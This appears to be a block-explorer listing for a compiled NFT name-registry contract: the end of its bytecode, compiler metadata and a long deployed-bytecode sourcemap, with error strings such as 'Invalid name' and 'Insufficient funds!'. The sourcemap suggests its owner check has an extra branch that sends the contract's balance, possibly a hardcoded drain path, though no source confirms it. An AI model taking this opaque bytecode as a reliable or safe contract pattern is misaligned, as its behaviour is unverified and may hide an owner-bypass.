1600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46132b46000878480600101955087613031565b6132d1576040516368d2bf6b60e11b815260040160405180910390fd5b8082106132695782600054146132e657600080fd5b613330565b5b6040516001830192906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48082106132ec575b50600090815561111f9085838684565b600081831061335c5760008281526020849052604090206127fe565b5060009182526020526040902090565b6001600160e01b0319811681146129e057600080fd5b60006020828403121561339457600080fd5b81356127fe8161336c565b60005b838110156133ba5781810151838201526020016133a2565b50506000910152565b600081518084526133db81602086016020860161339f565b601f01601f19169290920160200192915050565b6020815260006127fe60208301846133c3565b60006020828403121561341457600080fd5b5035919050565b80356001600160a01b038116811461343257600080fd5b919050565b6000806040838503121561344a57600080fd5b6134538361341b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261348857600080fd5b81356001600160401b03808211156134a2576134a2613461565b604051601f8301601f19908116603f011681019082821181831017156134ca576134ca613461565b816040528381528660208588010111156134e357600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561351557600080fd5b81356001600160401b0381111561352b57600080fd5b61311584828501613477565b8035801515811461343257600080fd5b60008083601f84011261355957600080fd5b5081356001600160401b0381111561357057600080fd5b60208301915083602082850101111561358857600080fd5b9250929050565b600080600080606085870312156135a557600080fd5b6135ae85613537565b93506020850135925060408501356001600160401b038111156135d057600080fd5b6135dc87828801613547565b95989497509550505050565b6000806000606084860312156135fd57600080fd5b6136068461341b565b92506136146020850161341b565b9150604084013590509250925092565b60008083601f84011261363657600080fd5b5081356001600160401b0381111561364d57600080fd5b6020830191508360208260051b850101111561358857600080fd5b60008060006040848603121561367d57600080fd5b83356001600160401b038082111561369457600080fd5b6136a087838801613477565b945060208601359150808211156136b657600080fd5b506136c386828701613624565b9497909650939450505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561372557603f198886030184526137138583516133c3565b945092850192908501906001016136f7565b5092979650505050505050565b6000806040838503121561374557600080fd5b61374e8361341b565b915060208301356001600160401b0381111561376957600080fd5b61377585828601613477565b9150509250929050565b6000806000806060858703121561379557600080fd5b84356001600160401b03808211156137ac57600080fd5b6137b888838901613477565b955060208701359150808211156137ce57600080fd5b6137da88838901613477565b945060408701359150808211156137f057600080fd5b506135dc87828801613624565b6000806040838503121561381057600080fd5b82356001600160401b0381111561382657600080fd5b61383285828601613477565b9250506138416020840161341b565b90509250929050565b60006020828403121561385c57600080fd5b6127fe82613537565b60006020828403121561387757600080fd5b6127fe8261341b565b60008060006060848603121561389557600080fd5b8335925060208401356001600160401b038111156138b257600080fd5b6138be86828701613477565b925050604084013590509250925092565b6000806000604084860312156138e457600080fd5b83356001600160401b038111156138fa57600080fd5b61390686828701613547565b909450925061391990506020850161341b565b90509250925092565b6000806040838503121561393557600080fd5b61393e8361341b565b915061384160208401613537565b60008060006040848603121561396157600080fd5b83356001600160401b038082111561397857600080fd5b61398487838801613477565b9450602086013591508082111561399a57600080fd5b506136c386828701613547565b600080604083850312156139ba57600080fd5b82356001600160401b03808211156139d157600080fd5b6139dd86838701613477565b935060208501359150808211156139f357600080fd5b5061377585828601613477565b600080600080600060608688031215613a1857600080fd5b85356001600160401b0380821115613a2f57600080fd5b613a3b89838a01613547565b90975095506020880135915080821115613a5457600080fd5b613a6089838a01613547565b90955093506040880135915080821115613a7957600080fd5b50613a8688828901613477565b9150509295509295909350565b60008060008060808587031215613aa957600080fd5b5050823594602084013594506040840135936060013592509050565b60008060008060808587031215613adb57600080fd5b613ae48561341b565b9350613af26020860161341b565b92506040850135915060608501356001600160401b03811115613b1457600080fd5b613b2087828801613477565b91505092959194509250565b60008060208385031215613b3f57600080fd5b82356001600160401b03811115613b5557600080fd5b613b6185828601613547565b90969095509350505050565b600080600060408486031215613b8257600080fd5b8335925060208401356001600160401b03811115613b9f57600080fd5b6136c386828701613547565b60008060408385031215613bbe57600080fd5b613bc78361341b565b91506138416020840161341b565b600181811c90821680613be957607f821691505b602082108103613c0957634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f821115610d2057600081815260208120601f850160051c81016020861015613c6b5750805b601f850160051c820191505b81811015613c8a57828155600101613c77565b505050505050565b81516001600160401b03811115613cab57613cab613461565b613cbf81613cb98454613bd5565b84613c44565b602080601f831160018114613cf45760008415613cdc5750858301515b600019600386901b1c1916600185901b178555613c8a565b600085815260208120601f198616915b82811015613d2357888601518255948401946001909101908401613d04565b5085821015613d415787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8183823760009101908152919050565b6020808252600990820152684c6f6e67206e616d6560b81b604082015260600190565b6020808252600c908201526b57726974652061206e616d6560a01b604082015260600190565b6020808252600c908201526b496e76616c6964206e616d6560a01b604082015260600190565b60008251613de281846020870161339f565b9190910192915050565b6020808252601590820152742a3434b99034b99030b63932b0b23c903a30b5b2b760591b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610bc357610bc3613e1b565b60008154613e5181613bd5565b60018281168015613e695760018114613e7e57613ead565b60ff1984168752821515830287019450613ead565b8560005260208060002060005b85811015613ea45781548a820152908401908201613e8b565b50505082870194505b5050505092915050565b6000613115613ec68386613e44565b84613e44565b634e487b7160e01b600052603260045260246000fd5b600060018201613ef457613ef4613e1b565b5060010190565b600081613f0a57613f0a613e1b565b506000190190565b8082028115828204841417610bc357610bc3613e1b565b600082613f4657634e487b7160e01b600052601260045260246000fd5b500490565b602080825260139082015272496e73756666696369656e742066756e64732160681b604082015260600190565b60008351613f8a81846020880161339f565b601760f91b9083019081528351613fa881600184016020880161339f565b01600101949350505050565b60208082526005908201526422b93937b960d91b604082015260600190565b6001600160401b03831115613fea57613fea613461565b613ffe83613ff88354613bd5565b83613c44565b6000601f841160018114614032576000851561401a5750838201355b600019600387901b1c1916600186901b1783556114a5565b600083815260209020601f19861690835b828110156140635786850135825560209485019460019092019101614043565b50868210156140805760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b600083516140a481846020880161339f565b6140b081840185613e44565b95945050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906140ec908301846133c3565b9695505050505050565b60006020828403121561410857600080fd5b81516127fe8161336c56fe0000000000000000000000006049acf6993e8ef2bf0e6dd0297c4f3a37995091a26469706673582212208883f09a5e6064bd3598a622d8f10b441382231c023edcc7ee493028daae1e3f64736f6c63430008110033

Deployed Bytecode Sourcemap

59303:11761:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40422:305;;;;;;;;;;-1:-1:-1;40422:305:0;;;;;:::i;:::-;;:::i;:::-;;;565:14:1;;558:22;540:41;;528:2;513:18;40422:305:0;;;;;;;;43537:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;45049:204::-;;;;;;;;;;-1:-1:-1;45049:204:0;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;1697:32:1;;;1679:51;;1667:2;1652:18;45049:204:0;1533:203:1;44611:372:0;;;;;;;;;;-1:-1:-1;44611:372:0;;;;;:::i;:::-;;:::i;:::-;;60195:54;;;;;;;;;;-1:-1:-1;60195:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3507:25:1;;;3495:2;3480:18;60195:54:0;3361:177:1;62284:104:0;;;;;;;;;;-1:-1:-1;62284:104:0;;;;;:::i;:::-;;:::i;38367:48::-;;;;;;;;;;-1:-1:-1;38367:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;59392:38;;;;;;;;;;;;;;;;59467:29;;;;;;;;;;;;;;;;39662:312;;;;;;;;;;-1:-1:-1;39925:12:0;;39715:7;39909:13;:28;-1:-1:-1;;39909:46:0;39662:312;;59437:23;;;;;;;;;;;;;;;;63024:367;;;;;;;;;;-1:-1:-1;63024:367:0;;;;;:::i;:::-;;:::i;45914:170::-;;;;;;;;;;-1:-1:-1;45914:170:0;;;;;:::i;:::-;;:::i;64613:967::-;;;;;;:::i;:::-;;:::i;60389:25::-;;;;;;;;;;;;;;;;69308:494;;;;;;;;;;-1:-1:-1;69308:494:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;59503:32::-;;;;;;;;;;;;;;;;63399:1205;;;;;;:::i;:::-;;:::i;70858:201::-;;;;;;;;;;;;;:::i;46155:185::-;;;;;;;;;;-1:-1:-1;46155:185:0;;;;;:::i;:::-;;:::i;67011:1432::-;;;;;;:::i;:::-;;:::i;59886:80::-;;;;;;;;;;-1:-1:-1;59886:80:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;59886:80:0;;;;;;;;;;;62040:113;;;;;;;;;;-1:-1:-1;62040:113:0;;;;;:::i;:::-;;:::i;62161:110::-;;;;;;;;;;-1:-1:-1;62161:110:0;;;;;:::i;:::-;;:::i;59783:39::-;;;;;;;;;;-1:-1:-1;59783:39:0;;;;;;;;;;;43345:125;;;;;;;;;;-1:-1:-1;43345:125:0;;;;;:::i;:::-;;:::i;62883:133::-;;;;;;;;;;-1:-1:-1;62883:133:0;;;;;:::i;:::-;;:::i;38312:48::-;;;;;;;;;;-1:-1:-1;38312:48:0;;;;;:::i;:::-;;:::i;40791:206::-;;;;;;;;;;-1:-1:-1;40791:206:0;;;;;:::i;:::-;;:::i;16499:103::-;;;;;;;;;;;;;:::i;59742:34::-;;;;;;;;;;-1:-1:-1;59742:34:0;;;;;;;;69924:370;;;;;;;;;;-1:-1:-1;69924:370:0;;;;;:::i;:::-;;:::i;69808:112::-;;;;;;;;;;-1:-1:-1;69808:112:0;;;;;:::i;:::-;;:::i;60083:52::-;;;;;;;;;;-1:-1:-1;60083:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;62765:109;;;;;;;;;;-1:-1:-1;62765:109:0;;;;;:::i;:::-;;:::i;60028:48::-;;;;;;;;;;-1:-1:-1;60028:48:0;;;;;:::i;:::-;;:::i;15605:87::-;;;;;;;;;;-1:-1:-1;15678:6:0;;-1:-1:-1;;;;;15678:6:0;15605:87;;60256:56;;;;;;;;;;-1:-1:-1;60256:56:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;62396:95;;;;;;;;;;-1:-1:-1;62396:95:0;;;;;:::i;:::-;;:::i;70307:517::-;;;;;;;;;;-1:-1:-1;70307:517:0;;;;;:::i;:::-;;:::i;43706:104::-;;;;;;;;;;;;;:::i;60853:497::-;;;;;;;;;;-1:-1:-1;60853:497:0;;;;;:::i;:::-;;:::i;45325:287::-;;;;;;;;;;-1:-1:-1;45325:287:0;;;;;:::i;:::-;;:::i;61872:158::-;;;;;;;;;;-1:-1:-1;61872:158:0;;;;;:::i;:::-;;:::i;59829:50::-;;;;;;;;;;-1:-1:-1;59829:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;65590:1411;;;;;;:::i;:::-;;:::i;61549:315::-;;;;;;;;;;-1:-1:-1;61549:315:0;;;;;:::i;:::-;;:::i;62499:256::-;;;;;;;;;;-1:-1:-1;62499:256:0;;;;;:::i;:::-;;:::i;59973:48::-;;;;;;;;;;-1:-1:-1;59973:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;59973:48:0;;;46411:370;;;;;;;;;;-1:-1:-1;46411:370:0;;;;;:::i;:::-;;:::i;61358:181::-;;;;;;;;;;-1:-1:-1;61358:181:0;;;;;:::i;:::-;;:::i;43881:326::-;;;;;;;;;;-1:-1:-1;43881:326:0;;;;;:::i;:::-;;:::i;59542:34::-;;;;;;;;;;;;;;;;60142:46;;;;;;;;;;-1:-1:-1;60142:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;68457:193;;;;;;;;;;-1:-1:-1;68457:193:0;;;;;:::i;:::-;;:::i;45683:164::-;;;;;;;;;;-1:-1:-1;45683:164:0;;;;;:::i;:::-;;:::i;60319:63::-;;;;;;;;;;-1:-1:-1;60319:63:0;;;;;:::i;:::-;;:::i;16757:201::-;;;;;;;;;;-1:-1:-1;16757:201:0;;;;;:::i;:::-;;:::i;68656:646::-;;;;;;;;;;-1:-1:-1;68656:646:0;;;;;:::i;:::-;;:::i;40422:305::-;40524:4;-1:-1:-1;;;;;;40561:40:0;;-1:-1:-1;;;40561:40:0;;:105;;-1:-1:-1;;;;;;;40618:48:0;;-1:-1:-1;;;40618:48:0;40561:105;:158;;;-1:-1:-1;;;;;;;;;;28764:40:0;;;40683:36;40541:178;40422:305;-1:-1:-1;;40422:305:0:o;43537:100::-;43591:13;43624:5;43617:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;43537:100;:::o;45049:204::-;45117:7;45142:16;45150:7;45142;:16::i;:::-;45137:64;;45167:34;;-1:-1:-1;;;45167:34:0;;;;;;;;;;;45137:64;-1:-1:-1;45221:24:0;;;;:15;:24;;;;;;-1:-1:-1;;;;;45221:24:0;;45049:204::o;44611:372::-;44684:13;44700:24;44716:7;44700:15;:24::i;:::-;44684:40;;44745:5;-1:-1:-1;;;;;44739:11:0;:2;-1:-1:-1;;;;;44739:11:0;;44735:48;;44759:24;;-1:-1:-1;;;44759:24:0;;;;;;;;;;;44735:48;14409:10;-1:-1:-1;;;;;44800:21:0;;;44796:139;;44827:37;44844:5;14409:10;45683:164;:::i;44827:37::-;44823:112;;44888:35;;-1:-1:-1;;;44888:35:0;;;;;;;;;;;44823:112;44947:28;44956:2;44960:7;44969:5;44947:8;:28::i;:::-;44673:310;44611:372;;:::o;62284:104::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;;;;;;;;;62359:11:::1;:21;62373:7:::0;62359:11;:21:::1;:::i;:::-;;62284:104:::0;:::o;63024:367::-;63140:31;63174:41;63187:17;63205:8;;63187:27;;;;;;;:::i;:::-;;;;;;;;;;;;;;63174:12;:41::i;:::-;63234:14;;63140:75;;-1:-1:-1;;;;;;63234:28:0;63252:10;63234:28;63226:48;;;;-1:-1:-1;;;63226:48:0;;18368:2:1;63226:48:0;;;18350:21:1;18407:1;18387:18;;;18380:29;-1:-1:-1;;;18425:18:1;;;18418:37;18472:18;;63226:48:0;18166:330:1;63226:48:0;63313:11;63285:15;63301:8;;63285:25;;;;;;;:::i;:::-;;;;;;;;;;;;;:39;;;;63369:12;63335:21;63357:8;;63335:31;;;;;;;:::i;:::-;;;;;;;;;;;;;;:46;;;;;-1:-1:-1;;63335:46:0;;;;;;;;;-1:-1:-1;;;;;63024:367:0:o;45914:170::-;46048:28;46058:4;46064:2;46068:7;46048:9;:28::i;64613:967::-;64756:19;;;;;;;64748:62;;;;-1:-1:-1;;;64748:62:0;;18703:2:1;64748:62:0;;;18685:21:1;18742:2;18722:18;;;18715:30;18781:32;18761:18;;;18754:60;18831:18;;64748:62:0;18501:354:1;64748:62:0;64850:28;;-1:-1:-1;;64867:10:0;19009:2:1;19005:15;19001:53;64850:28:0;;;18989:66:1;64825:12:0;;19071::1;;64850:28:0;;;;;;;;;;;;64840:39;;;;;;64825:54;;64902:50;64921:12;;64902:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;64935:10:0;;;-1:-1:-1;64947:4:0;;-1:-1:-1;64902:18:0;:50::i;:::-;64894:76;;;;-1:-1:-1;;;64894:76:0;;19296:2:1;64894:76:0;;;19278:21:1;19335:2;19315:18;;;19308:30;-1:-1:-1;;;19354:18:1;;;19347:44;19408:18;;64894:76:0;19094:338:1;64894:76:0;65017:11;;64999:8;64993:22;:35;;64985:56;;;;-1:-1:-1;;;64985:56:0;;;;;;;:::i;:::-;65087:1;65070:8;65064:22;:24;65056:48;;;;-1:-1:-1;;;65056:48:0;;;;;;;:::i;:::-;65127:20;65138:8;65127:10;:20::i;:::-;65119:45;;;;-1:-1:-1;;;65119:45:0;;;;;;;:::i;:::-;65206:10;65187:30;;;;:18;:30;;;;;;;;:36;;:30;:36;65179:57;;;;-1:-1:-1;;;65179:57:0;;20658:2:1;65179:57:0;;;20640:21:1;20697:1;20677:18;;;20670:29;-1:-1:-1;;;20715:18:1;;;20708:38;20763:18;;65179:57:0;20456:331:1;65179:57:0;65260:17;65278:8;65260:27;;;;;;:::i;:::-;;;;;;;;;;;;;;65291:1;65260:32;65251:68;;;;-1:-1:-1;;;65251:68:0;;;;;;;:::i;:::-;65354:10;65335:30;;;;:18;:30;;;;;;;;:37;;-1:-1:-1;;65335:37:0;65368:4;65335:37;;;;;;65405:13;;65387:32;;;;;;;:41;65420:8;65387:32;:41;:::i;:::-;;65471:13;;65443:17;65461:8;65443:27;;;;;;:::i;:::-;;;;;;;;;;;;;:41;;;;65524:10;65499:14;65514:8;65499:24;;;;;;:::i;:::-;;;;;;;;;;;;;;:35;;-1:-1:-1;;;;;65499:35:0;;;;-1:-1:-1;;;;;;65499:35:0;;;;;;;;;65549:23;65559:10;65499:35;65549:9;:23::i;:::-;64727:853;64613:967;;;:::o;69308:494::-;39925:12;;69409:13;39909;;69382:15;;-1:-1:-1;;39909:28:0;;:46;;69485:5;-1:-1:-1;;;;;69472:19:0;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;69445:46:0;-1:-1:-1;69498:17:0;69518:13;69526:5;69518;:13;:::i;:::-;69498:33;-1:-1:-1;69538:23:0;69572:31;69625:9;69617:5;:17;69610:163;;;69689:24;;;;:17;:24;;;;;;;;;69675:46;;;;69689:24;69714:6;;69675:46;;:::i;:::-;;;;;;;;;;;;;69647:8;69656:15;69647:25;;;;;;;;:::i;:::-;;;;;;:74;;;;69732:17;;;;;:::i;:::-;;;;69758:7;;;;;:::i;:::-;;;;69610:163;;;-1:-1:-1;69788:8:0;;69308:494;-1:-1:-1;;;;69308:494:0:o;63399:1205::-;63530:4;;63634:11;;63610:22;;63514:13;;;;63610:35;;63602:56;;;;-1:-1:-1;;;63602:56:0;;;;;;;:::i;:::-;63700:1;63683:8;63677:22;:24;63669:48;;;;-1:-1:-1;;;63669:48:0;;;;;;;:::i;:::-;63736:20;63747:8;63736:10;:20::i;:::-;63728:45;;;;-1:-1:-1;;;63728:45:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;63788:56:0;;63802:42;63788:56;63784:346;;63863:4;;63857:10;;63784:346;;;-1:-1:-1;;;;;63906:27:0;;63942:1;63906:27;;;:14;:27;;;;;63900:41;;;;;:::i;:::-;;;:43;63896:154;;;63980:3;63970:9;;63964:5;:15;;;;:::i;:::-;:19;;;;:::i;:::-;63955:28;;63896:154;;;64035:3;64031;;64025:5;:9;;;;:::i;:::-;:13;;;;:::i;:::-;64016:22;;63896:154;64093:3;64079:12;;64075:3;:16;;;;:::i;:::-;64068:24;;:5;:24;:::i;:::-;:28;;;;:::i;:::-;64060:36;;64114:4;64107:11;;63784:346;64149:17;64167:8;64149:27;;;;;;:::i;:::-;;;;;;;;;;;;;;64180:1;64149:32;64140:68;;;;-1:-1:-1;;;64140:68:0;;;;;;;:::i;:::-;64228:14;;;;64220:46;;;;-1:-1:-1;;;64220:46:0;;25075:2:1;64220:46:0;;;25057:21:1;25114:2;25094:18;;;25087:30;-1:-1:-1;;;25133:18:1;;;25126:49;25192:18;;64220:46:0;24873:343:1;64220:46:0;64298:5;64285:9;:18;;64277:50;;;;-1:-1:-1;;;64277:50:0;;;;;;;:::i;:::-;64338:32;64356:13;;64338:32;;:17;:32;;;;;:41;64371:8;64338:32;:41;:::i;:::-;;64418:13;;64390:17;64408:8;64390:27;;;;;;:::i;:::-;;;;;;;;;;;;;:41;;;;64467:10;64442:14;64457:8;64442:24;;;;;;:::i;:::-;;;;;;;;;;;;;;:35;;-1:-1:-1;;;;;64442:35:0;;;;-1:-1:-1;;;;;;64442:35:0;;;;;;;;;64489:74;;;;64512:39;;-1:-1:-1;;;;;64512:29:0;;;:39;;;;;64542:8;;64512:39;;;;64542:8;64512:29;:39;;;;;;;;;;;;;;;;;;;;;64489:74;64573:23;64583:10;64594:1;64573:9;:23::i;:::-;63500:1104;;;63399:1205;;:::o;70858:201::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;10579:1:::1;11177:7;;:19:::0;11169:63:::1;;;::::0;-1:-1:-1;;;11169:63:0;;25771:2:1;11169:63:0::1;::::0;::::1;25753:21:1::0;25810:2;25790:18;;;25783:30;25849:33;25829:18;;;25822:61;25900:18;;11169:63:0::1;25569:355:1::0;11169:63:0::1;10579:1;11310:7;:18:::0;70937:21:::2;70969:78;-1:-1:-1::0;;;;;;;;;;;70937:21:0;70969:17:::2;:78::i;:::-;-1:-1:-1::0;10535:1:0::1;11489:7;:22:::0;70858:201::o;46155:185::-;46293:39;46310:4;46316:2;46320:7;46293:39;;;;;;;;;;;;:16;:39::i;67011:1432::-;67186:24;67225:14;67244:8;67211:42;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;67211:42:0;;;;;;;;;;-1:-1:-1;;67310:10:0;19009:2:1;19005:15;19001:53;67211:42:0;67293:28;;18989:66:1;67211:42:0;-1:-1:-1;67268:12:0;;19071::1;;67293:28:0;;;;;;;;;;;;67283:39;;;;;;67268:54;;67345:70;67364:12;;67345:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;67378:30:0;;:20;;-1:-1:-1;67378:30:0;;-1:-1:-1;67399:8:0;;67378:30;:::i;:::-;;;;;;;;;;;;;;67410:4;67345:18;:70::i;:::-;67337:96;;;;-1:-1:-1;;;67337:96:0;;19296:2:1;67337:96:0;;;19278:21:1;19335:2;19315:18;;;19308:30;-1:-1:-1;;;19354:18:1;;;19347:44;19408:18;;67337:96:0;19094:338:1;67337:96:0;67469:25;67495:8;67469:35;;;;;;:::i;:::-;;;;;;;;;;;;;;67456:9;:48;;67448:80;;;;-1:-1:-1;;;67448:80:0;;;;;;;:::i;:::-;67585:11;;67561:14;67555:28;:41;;67547:62;;;;-1:-1:-1;;;67547:62:0;;;;;;;:::i;:::-;67661:1;67638:14;67632:28;:30;67624:54;;;;-1:-1:-1;;;67624:54:0;;;;;;;:::i;:::-;67701:20;67712:8;67701:10;:20::i;:::-;67693:45;;;;-1:-1:-1;;;67693:45:0;;;;;;;:::i;:::-;67761:26;67772:14;67761:10;:26::i;:::-;67753:51;;;;-1:-1:-1;;;67753:51:0;;;;;;;:::i;:::-;67827:29;67857:8;67827:39;;;;;;:::i;:::-;;;;;;;;;;;;;;;;67867:10;67827:51;;;;;;;;;;;:57;;:51;:57;67819:78;;;;-1:-1:-1;;;67819:78:0;;20658:2:1;67819:78:0;;;20640:21:1;20697:1;20677:18;;;20670:29;-1:-1:-1;;;20715:18:1;;;20708:38;20763:18;;67819:78:0;20456:331:1;67819:78:0;67921:17;67939:10;67921:29;;;;;;:::i;:::-;;;;;;;;;;;;;;67954:1;67921:34;67912:70;;;;-1:-1:-1;;;67912:70:0;;;;;;;:::i;:::-;67998:31;68032:41;68045:17;68063:8;68045:27;;;;;;:::i;68032:41::-;67998:75;;68096:9;:14;;;-1:-1:-1;;;;;68088:32:0;:68;68152:3;68136:14;;68132:3;:18;;;;:::i;:::-;68121:30;;:9;:30;:::i;:::-;:34;;;;:::i;:::-;68088:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;68225:4;68171:29;68201:8;68171:39;;;;;;:::i;:::-;;;;;;;;;;;;;;;;68211:10;68171:51;;;;;;;;;;:58;;-1:-1:-1;;68171:58:0;;;;;;;;;;;68262:13;;68244:32;;-1:-1:-1;68244:32:0;;;;;:43;68277:10;68244:32;:43;:::i;:::-;;68332:13;;68302:17;68320:10;68302:29;;;;;;:::i;:::-;;;;;;;;;;;;;:43;;;;68387:10;68360:14;68375:10;68360:26;;;;;;:::i;:::-;;;;;;;;;;;;;;:37;;-1:-1:-1;;;;;68360:37:0;;;;-1:-1:-1;;;;;;68360:37:0;;;;;;;;;68412:23;68422:10;68360:37;68412:9;:23::i;:::-;67165:1278;;;67011:1432;;;;:::o;62040:113::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;62120:8:::1;:25;62131:14:::0;62120:8;:25:::1;:::i;62161:110::-:0;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;62237:11:::1;:26:::0;62161:110::o;15817:312::-;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;62237:11:::1;:26:::0;62161:110::o;43345:125::-;43409:7;43436:21;43449:7;43436:12;:21::i;:::-;:26;;43345:125;-1:-1:-1;;43345:125:0:o;62883:133::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;62969:19:::1;:39:::0;;;::::1;;;;-1:-1:-1::0;;62969:39:0;;::::1;::::0;;;::::1;::::0;;62883:133::o;38312:48::-;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;40791:206::-;40855:7;-1:-1:-1;;;;;40879:19:0;;40875:60;;40907:28;;-1:-1:-1;;;40907:28:0;;;;;;;;;;;40875:60;-1:-1:-1;;;;;;40961:19:0;;;;;:12;:19;;;;;:27;-1:-1:-1;;;;;40961:27:0;;40791:206::o;16499:103::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;16564:30:::1;16591:1;16564:18;:30::i;:::-;16499:103::o:0;69924:370::-;70037:31;70071:41;70084:17;70102:8;70084:27;;;;;;:::i;70071:41::-;70127:14;;70037:75;;-1:-1:-1;;;;;;70127:28:0;70145:10;70127:28;70123:49;;70157:15;;-1:-1:-1;;;70157:15:0;;;;;;;:::i;70123:49::-;70218:14;70185:20;70206:8;70185:30;;;;;;:::i;:::-;;;;;;;;;;;;;:47;;;;70281:5;70243:25;70269:8;70243:35;;;;;;:::i;:::-;;;;;;;;;;;;;;:43;-1:-1:-1;;;;69924:370:0:o;69808:112::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;69885:10:::1;:27:::0;69808:112::o;15817:312::-;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;69885:10:::1;:27:::0;69808:112::o;62765:109::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;62837:14:::1;:29:::0;;-1:-1:-1;;62837:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;62765:109::o;60028:48::-;;;;;;;;;;;;;;;;:::i;62396:95::-;14409:10;